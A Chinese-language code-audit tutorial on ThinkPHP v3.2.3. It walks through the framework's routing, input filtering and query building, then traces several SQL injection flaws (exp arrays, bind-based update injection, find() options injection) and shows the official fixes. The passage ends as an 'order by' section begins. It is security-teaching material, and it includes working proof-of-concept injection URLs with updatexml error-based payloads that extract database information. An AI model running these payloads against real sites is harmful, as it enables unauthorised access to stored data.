ThinkPHP v3.2.3代码审计

## 前言

ThinkPHP 是国内著名的 php开发框架,基于MVC模式,最早诞生于2006年初,原名FCS,2007年元旦正式更名为ThinkPHP。

本文主要分析 ThinkPHP v3 的程序代码,通过对 ThinkPHP v3 的结构分析、底层代码分析、经典历史漏洞复现分析等,学习如何审计 MVC 模式的程序代码,复现 ThinkPHP v3 的系列漏洞,总结经验,以后遇到 ThinkPHP v3 的代码能够独立审计,抓住重点。即使不想对 ThinkPHP v3 代码做过多了解的小伙伴通过本文也能对TP3程序的漏洞有个清晰的认识。

ThinkPHP v3.x 系列最早发布于2012年,于2018年停止维护,其中使用最多的是在2014年发布的3.2.3,本文审计代码也是这个版本。也许TP 3现在很少能见到了,但通过对TP 3的代码分析,能更好入门 MVC 模式的程序代码审计

后面将深入学习审计 Thinkphp 5.x

ThinkPHP3.2.3完全开发教程:https://www.kancloud.cn/manual/thinkphp/

下载ThinkPHP3.2.3完整版:https://www.thinkphp.cn/down/610.html

TP3 基础

下载后,保存到web目录下, 无需安装。

目录结构

初始目录结构

www  WEB部署目录(或者子目录)
├─index.php       入口文件
├─README.md       README文件
├─Application     应用目录
├─Public          资源文件目录
└─ThinkPHP        框架目录

这个时期的默认目录结构其实是有很大问题的,入口文件index.php和全部程序代码都放在WEB部署目录中,这将导致程序中的文件将会被泄露,如访问 Application/Runtime/Logs/ 下的日志,网上也有对应的爆破脚本,批量获取程序中的日志文件

框架目录ThinkPHP的结构:

image-20220113105020179

入口文件

ThinkPHP采用单一入口模式进行项目部署和访问,无论完成什么功能,一个应用都有一个统一(但不一定唯一)的入口。

image-20220113111004343

模块设计

第一次访问入口文件的时候,会显示默认欢迎页面,并且自动生成一个默认的应用模块home

image-20220113112723123

控制器

这里需要注意的是它的命名格式:

Controller前面的字符就是控制器名,如下面的 Index 控制器

image-20220113115634326

image-20220113134058191

image-20220113115645686image-20220113115652482

配置文件

如果能获取到程序代码,一般优先看系统的配置文件,能翻到数据库配置信息这些还是很赚的

另外也可以翻翻模型代码,可能会有意外收获(在TP 3中实例化模型的时候可以使用dns连接数据库)

new \Home\Model\NewModel('blog','think_','mysql://root:1234@localhost/demo');

另外一点需要注意的是,TP3中一个配置文件就可以实现很多信息的配置,如数据库信息的配置,路由规则配置等都会放在一个文件中。在TP5中则是通过专门的文件去配置不同的需求,如路由配置文件专门负责配置路由,数据库配置文件专门负责配置数据库信息

在ThinkPHP中,一般来说应用的配置文件是自动加载的,加载的顺序是:

惯例配置->应用配置->模式配置->调试配置->状态配置->模块配置->扩展配置->动态配置

以上是配置文件的加载顺序,后面的配置会覆盖之前的同名配置

惯例配置

惯例重于配置是系统遵循的一个重要思想,框架内置有一个惯例配置文件(位于ThinkPHP/Conf/convention.php

应用配置

应用配置文件也就是调用所有模块之前都会首先加载的公共配置文件(默认位于Application/Common/Conf/config.php

模块配置

每个模块会自动加载自己的配置文件(位于Application/当前模块名/Conf/config.php)。

测试:

下面为应用配置一个数据库信息:

Application/Common/Conf/config.php

image-20220113151544407

验证一下:

image-20220113152604504

具体为什么这样写,后面介绍,涉及到TP框架的路由和快捷方法。

在上面配置文件中再增加一个数据库的调试配置:

'SHOW_PAGE_TRACE'=>true

这样再访问就会有一些调试信息:

image-20220113153031310

路由

URL规则:

默认情况下可以使用PATHINFO模式、普通模式进行url访问

一个典型的URL访问规则是 (pathinfo模式)

http://serverName/index.php(或者其他应用入口文件)/模块/控制器/操作/[参数名/参数值...]

image-20220113174141110

image-20220113174544224

公共模块是一个特殊模块,访问所有的模块之前都会首先加载公共模块下的配置文件(Application/Common/conf/config.php)和公共函数文件(Application/Common/Common/function.php)。但是公共模块本身不能通过URL直接访问。

除了上面的PATHINFO模式(默认),thinkPHP还支持其他几种URL模式,可以通过设置URL_MODEL参数改变URL模式:

image-20220113181031616

普通模式:

使用GET传参的方式来指定当前访问的模块和操作

http://localhost/?m=home&c=user&a=login&var1=value1&var2=value2

image-20220113181405232

REWRITE模式:

在PATHINFO的基础上去掉入口文件

image-20220113181853977

兼容方式

例如:

http://servername/index.php?s=/index/Index/index

其中变量s的名称的可以配置的。

路由转发:

TP3 具有路由转发的功能,具体路由规则在应用或者模块配置文件中,上面有提及这两个文件的位置

配置方式如下:

// 开启路由
'URL_ROUTER_ON'   => true,
// 路由规则
'URL_ROUTE_RULES'	=> array(
    'news/:year/:month/:day' => array('News/archive', 'status=1'),
    'news/:id'               => 'News/read',
    'news/read/:id'          => '/news/:1',
),

image-20220113201615540

如果路由规则位于应用配置文件,路由规则则作用于全局。如果路由规则位于模块配置文件,则只作用于当前模块,在访问对应路由时要加上模块名,如在home模块配置文件定义了如上的路由,访问方式为http://test.com/home/news/123

命名空间:

TP3.2全面采用命名空间方式定义和加载类库

PHP命名空间:https://www.php.net/manual/zh/language.namespaces.php

image-20220113185600279

快捷方法

TP 3 对一些经常使用操作封装成了快捷方法,目的在于使程序更加简单安全

在TP 3官方文档中并没有做系统的介绍,不过在TP 5中就有系统整理,并且还给了一个规范命名:助手函数。

快捷方法一般位于ThinkPHP/Common/functions.php,下面介绍几个

I方法

PHP 程序一般使用$_GET, $_POST等全局变量获取外部数据, 在ThinkPHP封装了一个I方法可以更加方便和安全的获取外部变量,可以用于任何地方,用法格式如下:

I('变量类型.变量名/修饰符',['默认值'],['过滤方法或正则'],['额外数据源'])

示例:

echo I('get.id'); // 相当于 $_GET['id']echo I('get.name'); // 相当于 $_GET['name']I('get.'); // 获取整个$_GET 数组// 采用htmlspecialchars方法对$_GET['name'] 进行过滤,如果不存在则返回空字符串echo I('get.name','','htmlspecialchars');

I方法的所有获取变量如果没有设置过滤方法的话都会进行htmlspecialchars过滤,那么:

// 等同于 htmlspecialchars($_GET['name'])I('get.name'); 

I方法的过滤会在下面"安全过滤"部分,详细介绍

C方法

读取已有的配置,配置文件里面的数据就可以通过C方法读取

//	读取当前的URL模式配置参数$model = C('URL_MODEL');

M方法/D方法

用于数据模型的实例化操作,具体这两个方法怎么实现,有什么区别,暂时就不多关注了,只用知道通过这两个快捷方法能快速实例化一个数据模型对象,从而操作数据库

//实例化模型// 相当于 $User = new \Home\Model\UserModel();$User = D('User');// 和用法 $User = new \Think\Model('User'); 等效$User = M('User');

控制器

一般来说,ThinkPHP的控制器是一个类,而操作则是控制器类的一个公共方法。

控制器类的命名方式:控制器名(驼峰命名法)+Controller

控制器文件的命名方式:类名+class.php(类文件后缀)

例如:

<?phpnamespace Home\Controller;use Think\Controller;class IndexController extends Controller {    public function hello(){        echo 'hello,thinkphp!';    }}

Home\IndexController类就代表了Home模块下的Index控制器,而hello操作就是Home\IndexController类的hello(公共)方法。

当访问 http://serverName/index.php/Home/Index/hello 后会输出:

hello,thinkphp!

参数绑定:

Action参数绑定功能默认是开启的,其原理是把URL中的参数(不包括模块、控制器和操作名)和操作方法中的参数进行绑定。

要启用参数绑定功能,首先确保你开启了URL_PARAMS_BIND设置:

'URL_PARAMS_BIND'       =>  true, // URL变量绑定到操作方法作为参数

参数绑定有两种方式:按照变量名绑定(默认)和按照变量顺序绑定。

例如:

namespace Home\Controller;use Think\Controller;class BlogController extends Controller{    public function read($id){        echo 'id='.$id;    }    public function archive($year='2013',$month='01'){        echo 'year='.$year.'&month='.$month;    }}

参数名绑定:

http://serverName/index.php/Home/Blog/read/id/5http://serverName/index.php/Home/Blog/archive/year/2013/month/11

变量顺序绑定:

'URL_PARAMS_BIND_TYPE'  =>  1, // 设置参数绑定按照变量顺序绑定
http://serverName/index.php/Home/Blog/read/5http://serverName/index.php/Home/Blog/archive/2013/11

模型

模型类的作用大多数情况是操作数据表的,如果按照系统的规范来命名模型类的话,大多数情况下是可以自动对应数据表。如定义一个UserModel模型类,默认对应的数据表为think_user(全部小写)(假设数据库的前缀定义是 think_):

namespace Home\Model;use Think\Model;class UserModel extends Model {}

模型类的命名规则是除去表前缀的数据表名称,采用驼峰法命名,并且首字母大写,然后加上模型层的名称(默认定义是Model),例如:

image-20220116214203576

模型类通常需要继承系统的\Think\Model类或其子类。

\Think\Model类:

TP3 实现模型的文件为 ThinkPHP/Library/Think/Model.class.php,文件中定义了ThinkPHP的模型基类\Think\Model类\Think\Model类的属性一般是不需要设置的,会从配置文件中获取默认值

//	ThinkPHP/Library/Think/Model.class.phpnamespace Think;class Model {  	// 数据表前缀,如果未定义则获取配置文件中的DB_PREFIX参数    protected $tablePrefix      =   null;    // 模型名称    protected $name             =   '';    // 数据库名称    protected $dbName           =   '';    //数据库配置    protected $connection       =   '';    // 数据表名(不包含表前缀),一般情况下默认和模型名称相同    protected $tableName        =   '';    // 实际数据表名(包含表前缀),该名称一般无需设置    protected $trueTableName    =   '';  	/*取得DB类的实例对象 字段检查*/  	public function __construct($name='',$tablePrefix='',$connection='') {        /*数据库初始化操作          获取数据库操作对象          当前模型有独立的数据库连接信息*/        $this->db(0,empty($this->connection)?$connection:$this->connection,true);    }  ……

模型实例化:

1)首先通过类名可以直接实例化

实例化上面定义的 UserModel 类

$User = new \Home\Model\UserModel();#Model(['模型名'],['数据表前缀'],['数据库连接信息']);  三个参数都是可选的$User = new \Home\Model\NewModel('blog','think_','mysql://root:1234@localhost/demo');

2)另外ThinkPHP还提供了快捷方法,用于实例化模型:D方法M方法

D方法

用法如下,参数即为模型的名称

<?php//实例化模型$User = D('User');// 相当于 $User = new \Home\Model\UserModel();// 执行具体的数据操作$User->select();

\Home\Model\UserModel 类不存在的时候,D函数会尝试实例化公共模块下面的 \Common\Model\UserModel 类。

M方法

D方法实例化模型类的时候通常是实例化某个具体的模型类,如果你仅仅是对数据表进行基本的CURD操作的话,使用M方法实例化的话,由于不需要加载具体的模型类,所以性能会更高。

// 使用M方法实例化$User = M('User');// 和用法 $User = new \Think\Model('User'); 等效// 执行其他的数据操作$User->select();

M方法的参数和\Think\Model类的参数是一样的,也就是说,我们也可以这样实例化:

$New  = M('new','think_',$connection);// 等效于 $New = new \Think\Model('new','think_',$connection);

image-20220116223656931

3)实例化空模型类

使用原生SQL查询的话,不需要使用额外的模型类,实例化一个空模型类即可进行操作了,例如:

//实例化空模型$Model = new Model();//或者使用M快捷方法是等效的$Model = M();//进行原生的SQL查询$Model->query('SELECT * FROM think_user WHERE status = 1');

数据库操作:

ThinkPHP模型基础类提供的连贯操作方法(也有些框架称之为链式操作):

假如我们现在要查询一个User表的满足状态为1的前10条记录,并希望按照用户的创建时间排序 ,代码如下:

$User->where('status=1')->order('create_time')->limit(10)->select();#除了select方法必须放到最后一个外(因为select方法并不是连贯操作方法),连贯操作的方法调用顺序没有先后

系统支持的连贯操作方法有:

image-20220116225221259

CURD操作:

数据库操作的四个基本操作(CURD):创建、更新、读取和删除

CURD操作通常是可以和连贯操作配合完成的。

一些常用方法:

field

field方法属于模型的连贯操作方法之一,主要目的是标识要返回或者操作的字段,可以用于查询和写入操作

<?phpnamespace Home\Controller;use Think\Controller;class IndexController extends Controller {    public function index(){        $age = I('GET.age');        $User = M("user"); // 实例化User对象        $User->field('username,age')->where(array('age'=>$age))->find();    }}

执行语句相当于
image.png

where

<?phpnamespace Home\Controller;use Think\Controller;class IndexController extends Controller {    public function index(){        $age = I('GET.age');        $User = M("user"); // 实例化User对象        $User->where(array('age'=>$age))->select();    }}

接着请求
http://127.0.0.1/thinkphp3/index.php?m=Home&c=index&a=index&age=1

image.png

安全过滤机制

I方法的安全过滤

I方法是ThinkPHP用于更加方便和安全的获取系统输入变量,可以用于任何地方,用法格式如下:

I('变量类型.变量名/修饰符',['默认值'],['过滤方法或正则'],['额外数据源'])

I方法的使用,可以看上面快捷方法部分。

定位一下I方法,看一下源码

image-20220120104440692

这里进行了简化:

function I($name,$default='',$filter=null,$datas=null) {	static $_PUT	=	null;	if(strpos($name,'/')){ // 指定修饰符		list($name,$type) 	=	explode('/',$name,2);	}elseif(C('VAR_AUTO_STRING')){ // 默认强制转换为字符串        $type   =   's';    }        if(strpos($name,'.')) { // 指定参数来源        list($method,$name) =   explode('.',$name,2);    }else{ // 默认为自动判断        $method =   'param';    }    switch(strtolower($method)) {        case 'get'     :        	$input =& $_GET;        	break;        case 'post'    :        	$input =& $_POST;        	break;        ……    $data = $input;		$data = $input[$name];    $data = is_array($data) ? array_map_recursive($filter,$data) : $filter($data);    is_array($data) && array_walk_recursive($data,'think_filter');    return $data;}function think_filter(&$value){	// TODO 其他安全过滤	// 过滤查询特殊字符    if(preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i',$value)){        $value .= ' ';    }}

$name参数是一个字符串,前面提到的格式有get.id, post.name/s,I方法就需要对这样的字符串做解析

首先I方法解析出$name字符串中接收数据的方法$method,数据类型和数据$data

通过$filter方法对$data做过滤,如果你没有在调用I函数的时候指定过滤方法的话,系统会采用默认的过滤机制(由DEFAULT_FILTER配置),事实上,该参数的默认设置是:

// 系统默认的变量过滤机制'DEFAULT_FILTER'        => 'htmlspecialchars'

同样,该参数也可以设置支持多个过滤,例如:

'DEFAULT_FILTER'        => 'strip_tags,htmlspecialchars'#表示依次进行这两种过滤

数据库操作的安全过滤

通过I方法获取外部数据默认会做一些安全过滤,上面看到的系统默认配置有htmlspecialchars,这个方法能防御大部分的xss注入。因为现在很多程序会使用预编译,所以TP5 中一般不采用I方法对外部数据做sql注入的过滤。

所以TP3在数据库操作上也有自己的安全过滤方式,TP3有自己的预编译处理方式,在没有使用预编译的情况下,TP3才会做类似addslashes这样的过滤,而TP3中出现的sql注入问题就是在没有使用预编译的情况下,忽略了一些该过滤的地方

image-20220120114731782

下面来详细分析一下

直接使用$GET接收外部变量

构造测试代码:

<?phpnamespace Home\Controller;use Think\Controller;class IndexController extends Controller {    public function index(){        $username = $_GET['username'];        #$username = I('GET.username');        $User = M("user"); // 实例化User对象        $User->field('username,password')->where(array('username'=>$username))->find();    }}

请求:

http://192.168.111.131/thinkphp_3.2.3_full/index.php/home/index?username=yokan'

image-20220120150925323

可以看到,单引号被转义了。

image-20220120150301177

调试分析

下面来调试分析一下:

按照链式操作的顺序,会依次执行field()、where()、find()。

field()

用于处理查询的字段,这里数据不可控,我们也不关注了

image-20220120151858595

where()

where()用于构造sql语句的where条件语句部分,这是常见的sql注入点。前面提到,模型类提供的where()方法可以接收数组参数或字符串参数$where,然后where()方法将会把相关数据解析到模型对象的options数组属性中,用于后续拼接完整的sql语句

image-20220120154300345

我们通过数组传入的username,在where函数并没有经过过多处理

继续往下看

find()

find函数里,会解析出options

image-20220120154626845

然后我们跟进select()

image-20220120155017211

继续跟进

image-20220120155053476

parseSql里会依此执行函数

image-20220120160455542

跟进parseWhere函数

	protected function parseWhere($where) {   //array("username"=>"yokan'")        $whereStr = '';        if(is_string($where)) {            // 直接使用字符串条件            $whereStr = $where;        }else{ // 使用数组表达式            $operate  = isset($where['_logic'])?strtoupper($where['_logic']):'';            if(in_array($operate,array('AND','OR','XOR'))){                // 定义逻辑运算规则 例如 OR XOR AND NOT                $operate    =   ' '.$operate.' ';                unset($where['_logic']);            }else{                // 默认进行 AND 运算                $operate    =   ' AND ';            }            foreach ($where as $key=>$val){                if(is_numeric($key)){                    $key  = '_complex';                }                if(0===strpos($key,'_')) {                    // 解析特殊条件表达式                    $whereStr   .= $this->parseThinkWhere($key,$val);                }else{                    // 查询字段的安全过滤                    // if(!preg_match('/^[A-Z_\|\&\-.a-z0-9\(\)\,]+$/',trim($key))){                    //     E(L('_EXPRESS_ERROR_').':'.$key);                    // }                    // 多条件支持                    $multi  = is_array($val) &&  isset($val['_multi']);                    $key    = trim($key);                    if(strpos($key,'|')) { // 支持 name|title|nickname 方式定义查询字段                        $array =  explode('|',$key);                        $str   =  array();                        foreach ($array as $m=>$k){                            $v =  $multi?$val[$m]:$val;                            $str[]   = $this->parseWhereItem($this->parseKey($k),$v);                        }                        $whereStr .= '( '.implode(' OR ',$str).' )';                    }elseif(strpos($key,'&')){                        $array =  explode('&',$key);                        $str   =  array();                        foreach ($array as $m=>$k){                            $v =  $multi?$val[$m]:$val;                            $str[]   = '('.$this->parseWhereItem($this->parseKey($k),$v).')';                        }                        $whereStr .= '( '.implode(' AND ',$str).' )';                    }else{                        $whereStr .= $this->parseWhereItem($this->parseKey($key),$val);                    }                }                $whereStr .= $operate;            }            $whereStr = substr($whereStr,0,-strlen($operate));        }        return empty($whereStr)?'':' WHERE '.$whereStr;    }

跟进parseWhereItem

    protected function parseWhereItem($key,$val) {        $whereStr = '';        if(is_array($val)) {            if(is_string($val[0])) {				$exp	=	strtolower($val[0]);                if(preg_match('/^(eq|neq|gt|egt|lt|elt)$/',$exp)) { // 比较运算                    $whereStr .= $key.' '.$this->exp[$exp].' '.$this->parseValue($val[1]);                }elseif(preg_match('/^(notlike|like)$/',$exp)){// 模糊查找                    if(is_array($val[1])) {                        $likeLogic  =   isset($val[2])?strtoupper($val[2]):'OR';                        if(in_array($likeLogic,array('AND','OR','XOR'))){                            $like       =   array();                            foreach ($val[1] as $item){                                $like[] = $key.' '.$this->exp[$exp].' '.$this->parseValue($item);                            }                            $whereStr .= '('.implode(' '.$likeLogic.' ',$like).')';                                                  }                    }else{                        $whereStr .= $key.' '.$this->exp[$exp].' '.$this->parseValue($val[1]);                    }                }elseif('bind' == $exp ){ // 使用表达式                    $whereStr .= $key.' = :'.$val[1];                }elseif('exp' == $exp ){ // 使用表达式                    $whereStr .= $key.' '.$val[1];                }elseif(preg_match('/^(notin|not in|in)$/',$exp)){ // IN 运算                    if(isset($val[2]) && 'exp'==$val[2]) {                        $whereStr .= $key.' '.$this->exp[$exp].' '.$val[1];                    }else{                        if(is_string($val[1])) {                             $val[1] =  explode(',',$val[1]);                        }                        $zone      =   implode(',',$this->parseValue($val[1]));                        $whereStr .= $key.' '.$this->exp[$exp].' ('.$zone.')';                    }                }elseif(preg_match('/^(notbetween|not between|between)$/',$exp)){ // BETWEEN运算                    $data = is_string($val[1])? explode(',',$val[1]):$val[1];                    $whereStr .=  $key.' '.$this->exp[$exp].' '.$this->parseValue($data[0]).' AND '.$this->parseValue($data[1]);                }else{                    E(L('_EXPRESS_ERROR_').':'.$val[0]);                }            }else {                $count = count($val);                $rule  = isset($val[$count-1]) ? (is_array($val[$count-1]) ? strtoupper($val[$count-1][0]) : strtoupper($val[$count-1]) ) : '' ;                 if(in_array($rule,array('AND','OR','XOR'))) {                    $count  = $count -1;                }else{                    $rule   = 'AND';                }                for($i=0;$i<$count;$i++) {                    $data = is_array($val[$i])?$val[$i][1]:$val[$i];                    if('exp'==strtolower($val[$i][0])) {                        $whereStr .= $key.' '.$data.' '.$rule.' ';                    }else{                        $whereStr .= $this->parseWhereItem($key,$val[$i]).' '.$rule.' ';                    }                }                $whereStr = '( '.substr($whereStr,0,-4).' )';            }        }else {            //对字符串类型字段采用模糊匹配            $likeFields   =   $this->config['db_like_fields'];            if($likeFields && preg_match('/^('.$likeFields.')$/i',$key)) {                $whereStr .= $key.' LIKE '.$this->parseValue('%'.$val.'%');            }else {                $whereStr .= $key.' = '.$this->parseValue($val);            }        }        return $whereStr;    }

这里,我们的$key是username,$val是 yokan‘ ,于是执行

else {                $whereStr .= $key.' = '.$this->parseValue($val);            }

跟进parseValue

protected function parseValue($value) {    if(is_string($value)) {        $value =  strpos($value,':') === 0 && in_array($value,array_keys($this->bind))? ->escapeString($value) : '\''.$this->escapeString($value).'\'';    }elseif(isset($value[0]) && is_string($value[0]) && strtolower($value[0]) == 'exp'){        $value =  $this->escapeString($value[1]);    }elseif(is_array($value)) {        $value =  array_map(array($this, 'parseValue'),$value);    }elseif(is_bool($value)){        $value =  $value ? '1' : '0';    }elseif(is_null($value)){        $value =  'null';    }    return $value;}

调用escapeString对值进行处理,跟进发现是执行了addslashes函数

    public function escapeString($str) {        return addslashes($str);    }

返回了转义后的结果

image-20220120164449243

调用栈如下:

image-20220120164554716

如何注入

虽然底层就调用了escapeString,但是我们可以看到parseWhereItem函数

image-20220120171222139image-20220120171421403

在绿色标记的几个判断语句里,是没有调用parseValue函数的,也就不会调用到escapeString
然后我们又可以看到,exp就是val数组的第一个值,这样的话,如果我们传入一个数组,并且第一个参数为exp

的话,那么在第二个参数里是不是就可以构造注入语句了。

构造如下payload:

http://127.0.0.1/thinkphp_3.2.3_full/index.php/home/index?username[0]=exp&username[1]==yokan'

image-20220120180704929

image-20220120172443171

利用报错注入

image-20220120192621427

成功造成注入。

使用I函数接收外部变量

构造测试代码:

<?phpnamespace Home\Controller;use Think\Controller;class IndexController extends Controller {    public function index(){        $username = I('GET.username');        $User = M("user"); // 实例化User对象        $User->field('username,password')->where(array('username'=>$username))->find();    }}

请求发现报错了:

image-20220120193233659

跟进调试一下

跟进I函数:

首先获取method

image-20220120194345660

然后取username值并赋值给data

image-20220120194514864

然后判断是否设置filters,这里没有,所以使用了默认的htmlspecialchars

image-20220120194817206

跟进array_map_recursive

image-20220120195311703

array_map — 为数组的每个元素应用回调函数

image-20220120195538391

调用这个call_user_func

也就是对数组中的两个参数依次调用htmlspecialchars处理,对我们的payload影响不太大,F8那么继续往后跟

array_walk_recursive — 对数组中的每个成员递归地应用用户函数

image-20220120211147193

跟进think_filter

这里就对一些sql敏感的东西进行了过滤
此时,我们的data[0]exp字符串,这里就匹配了,于是他在exp后面加上了一个空格
也就是'exp '

image-20220120211225772

image-20220120211426730

那么到了parseWhereItem也就进不了exp那个判断了,直接进入报错的地方

image-20220120213011508

这样就不存在注入了

使用字符串条件直接查询和操作

前面两个例子,where方法的参数都是数组形式,下面我们使用字符串形式测试下:

<?phpnamespace Home\Controller;use Think\Controller;class IndexController extends Controller {    public function index(){        $username = I('GET.id');        $User = M("user"); // 实例化User对象        $User->field('username,password')->where('id='.I('GET.id'))->find();        #$User->field('username,password')->where("username=$username")->find();    }}
http://127.0.0.1/thinkphp_3.2.3_full/index.php/home/index?id=1

image-20220121144827468

可以看到,直接拼接执行了

image-20220121144921643

所以很容易构造报错注入:

image-20220121145012633

简单调试分析一下:

image-20220121151311478

image-20220121151454194

我们输入的where条件之后拼接上括号,进行查询,没有进行任何与SQL注入相关的过滤

image-20220121152001275

总结

使用字符串条件直接查询和操作,在不使用预处理的条件下,是很容易存在注入问题的。

使用数组条件的where用法,如果接收参数的时候并没有使用I函数,而是直接接收就传入M函数并实例化,那么我们注入的可能性就更大

漏洞分析

image-20220121161235476

上面已经分析了 where注入和exp注入。下面再对其他一些重要的漏洞进行分析一下。

在Table及之前的语句,只要参数可控就有注入:

image-20220121172742711

具体可以看 https://www.bilibili.com/video/BV1kk4y1q74o

update注入

数据库操作的安全过滤一节,我们提到直接使用$GET接收外部变量的情况下,对where() 处传入的数组参数存在SQL注入漏洞。

当时我们使用的是exp参数,之所以没有使用bind是因为他会在参数后面自动拼接=:

image-20220122212351824

但是使用I函数接收外部变量的时候,由于过滤了exp,所以就不存在注入了

image-20220122213953107

但是我们可以看到,并没有过滤bind。所以这一节就是找到一种方法可以消除" : "的影响,最终造成sql注入漏洞。

这里我们关注到save()方法

ThinkPHP的模型基类使用save()方法实现了SQL update的操作

用法:

$User = M("User"); // 实例化User对象// 要修改的数据对象属性赋值$data['name'] = 'ThinkPHP';$data['email'] = 'ThinkPHP@gmail.com';$User->where('id=5')->save($data); // 根据条件更新记录

也可以改成对象方式来操作:

$User = M("User"); // 实例化User对象// 要修改的数据对象属性赋值$User->name = 'ThinkPHP';$User->email = 'ThinkPHP@gmail.com';$User->where('id=5')->save(); // 根据条件更新记录

我们构造测试代码来跟一下流程:

    public function index(){        $username = I('GET.username');        $User = M("user"); // 实例化User对象        $data['password'] = '123';        $res = $User->where(array('username'=>$username))->save($data);        var_dump($res);    }
http://127.0.0.1/thinkphp_3.2.3_full/index.php/home/index?username[0]=bind&username[1]=yokan%27

与前面一样的地方就不细说了...

where()方法上面已经分析过,只需要知道当前model类对象的$options存储着where字段的数据,$data则是存放的set字段的数据

$data$options是组成sql语句的关键,最终将交于db->update()实现

image-20220122232334284

跟进parseSet()

这里做了个参数绑定

image-20220122232737406

image-20220122232757284

image-20220122233653309

image-20220122233721596

parseWhere()

和之前一样,传入的参数不会被过滤,只不过进入的是bind 会在where子语句中添加" =: "符号,

image-20220122234003091

image-20220122234053028

$sql为最终解析完成的sql语句如下,交于execute()执行

image-20220122234406385

跟进execute()

public function execute($str,$fetchSql=false) {    $this->initConnect(true);    if ( !$this->_linkID ) return false;    $this->queryStr = $str;    if(!empty($this->bind)){        $that   =   $this;        $this->queryStr =   strtr($this->queryStr,array_map(function($val) ($that){ return ''.$that->escapeString($val).'\''; },$this->bind));    }    if($fetchSql){        return $this->queryStr;    }    //释放前次的查询结果    if ( !empty($this->PDOStatement) ) $this->free();    $this->executeTimes++;    N('db_write',1); // 兼容代码    // 记录开始执行时间    $this->debug(true);    $this->PDOStatement =   $this->_linkID->prepare($str);    if(false === $this->PDOStatement) {        $this->error();        return false;    }    foreach ($this->bind as $key => $val) {        if(is_array($val)){            $this->PDOStatement->bindValue($key, $val[0], $val[1]);        }else{            $this->PDOStatement->bindValue($key, $val);        }    }    $this->bind =   array();    try{        $result =   $this->PDOStatement->execute();        // 调试结束        $this->debug(false);        if ( false === $result) {            $this->error();            return false;        } else {            $this->numRows = $this->PDOStatement->rowCount();            if(preg_match("/^\s*(INSERT\s+INTO|REPLACE\s+INTO)\s+/i", $str)) {                $this->lastInsID = $this->_linkID->lastInsertId();            }            return $this->numRows;        }    }catch (\PDOException $e) {        $this->error();        return false;    }}

注意这里

strst()将会把占位标记符转换为 bind 数组中对应的值,这里$bind=[':0'=>'123],那么sql语句中':0'字符会被替换为'123'

image-20220122235158693

strtr — 转换指定字符 strtr ( string $str , string $from , string $to ) : string

image-20220123000517251

利用的关键点来了,我们把where语句最终控制为":0",那么替换时":"将被消除,从而消除了:对注入语句的影响

后面就是通过预编译执行该语句,可惜其中的占位标记符已经被替换了,在预处理前就已经发生了注入,漏洞产生

POC:

http://127.0.0.1/thinkphp_3.2.3_full/index.php/home/index?username[0]=bind&username[1]=0%20and%20(updatexml(1,concat(0x7e,(select%20database()),0x7e),1))--+

实际执行的SQL语句:

image-20220123001331152

结果:

image-20220123001359558

成功注入

官方修复

前面提到利用I方法获取输入时并没有过滤BIND,导致我们可以进入BIND的逻辑,从而使得我们的数组参数从头到尾都没有被过滤。官方便在这一点上做了过滤。所以该漏洞在ThinkPHP<=3.2.3都是存在的

注意:如果没有使用I方法接收外部数据,那么下面的修复就没有意义了,这漏洞照样使用

image-20220123001548010

select&delete注入

这其实是ThinkPHP的一个隐藏用法,在前面提到,ThinkPHP使用where(),field()等方法获取获取sql语句的各个部分,然后存放到当前模型对象的$this->options属性数组中,最后在使用select()这些方法从$this->options数组中解析出对应的sql语句执行。

但在阅读代码过程中发现find(),select(),delete()本身可以接收$options数组参数,覆盖掉$this->options的值。不过这种用法官方文档并没有提及,想要遇到这中情况可能还需要开发者们配合,下面看看这个漏洞是怎么产生的,这里分析find()方法

代码分析

ThinkPHP/Library/Think/Model.class.php

protected $options  =   array();public function find($options=array()) {    if(is_numeric($options) || is_string($options)) {        $where[$this->getPk()]  =   $options;        $options                =   array();        $options['where']       =   $where;    }    // 根据复合主键查找记录    $pk  =  $this->getPk();    if (is_array($options) && (count($options) > 0) && is_array($pk)) {        // 根据复合主键查询        $count = 0;        foreach (array_keys($options) as $key) {            if (is_int($key)) $count++;         }         if ($count == count($pk)) {            $i = 0;            foreach ($pk as $field) {                $where[$field] = $options[$i];                unset($options[$i++]);            }            $options['where']  =  $where;        } else {            return false;        }    }    // 总是查找一条记录    $options['limit']   =   1;    // 分析表达式    $options            =   $this->_parseOptions($options);    // 判断查询缓存    if(isset($options['cache'])){        $cache  =   $options['cache'];        $key    =   is_string($cache['key'])?$cache['key']:md5(serialize($options));        $data   =   S($key,'',$cache);        if(false !== $data){            $this->data     =   $data;            return $data;        }    }    $resultSet          =   $this->db->select($options);    if(false === $resultSet) {        return false;    }    if(empty($resultSet)) {// 查询结果为空        return null;    }    if(is_string($resultSet)){        return $resultSet;    }    // 读取数据后的处理    $data   =   $this->_read_data($resultSet[0]);    $this->_after_find($data,$options);    $this->data     =   $data;    if(isset($cache)){        S($key,$data,$cache);    }    return $this->data;}

find()可以接收外部参数$options,官方文档没有提及这个用法

getPk()获取当前的主键,默认为'id'

$options为数字类型或字符串类型时,$options['where']将由主键和外部数据构成

$options为数组类型时,且主键$pk也为数组类型时,将会进入复合主键查询。但一般默认主键$pk=id,不为数组

$options最终由_parseOptions()获取

跟进_parseOptions:

array_merge() 将一个或多个数组的单元合并起来,一个数组中的值附加在前一个数组的后面。返回作为结果的数组。如果输入的数组中有相同的字符串键名,则该键名后面的值将覆盖前一个值

image-20220123010322165

可以看到最终$options将由find()方法传入的$optionswhere()等方法传入的$this->options合并完成。

所以如果find()方法传入的$options可控,那么整个sql语句也可控

我们在使用字符串条件直接查询和操作一节提到在数据库底层类中的parsewhere()方法解析where字段时,对字符串参数不会过滤,所以我们控制$options['where']为字符串类型即可

验证

public function (){  	$id = I('GET.id');    $User = M("user"); // 实例化User对象  	$res = $User->find($id);}
http://127.0.0.1/thinkphp_3.2.3_full/index.php/home/index?id[where]=1%20and%20(updatexml(1,concat(0x7e,(select%20user()),0x7e),1))--+

image-20220123011303559

官方修复

官方在修复上就是在_parseOptions()处忽略了外部传入的$options,这样我们传入的数据只能用于主键查询,而主键查询最终会转换为数组格式,数组格式数据在后面也会被过滤,那么这个漏洞就不存在了

image-20220123011729646

order by注入

ThinkPHP的模型基类Model并没有直接提供order的方法,而是用__call()魔术方法来获取一些特殊方法的参数,代码如下:

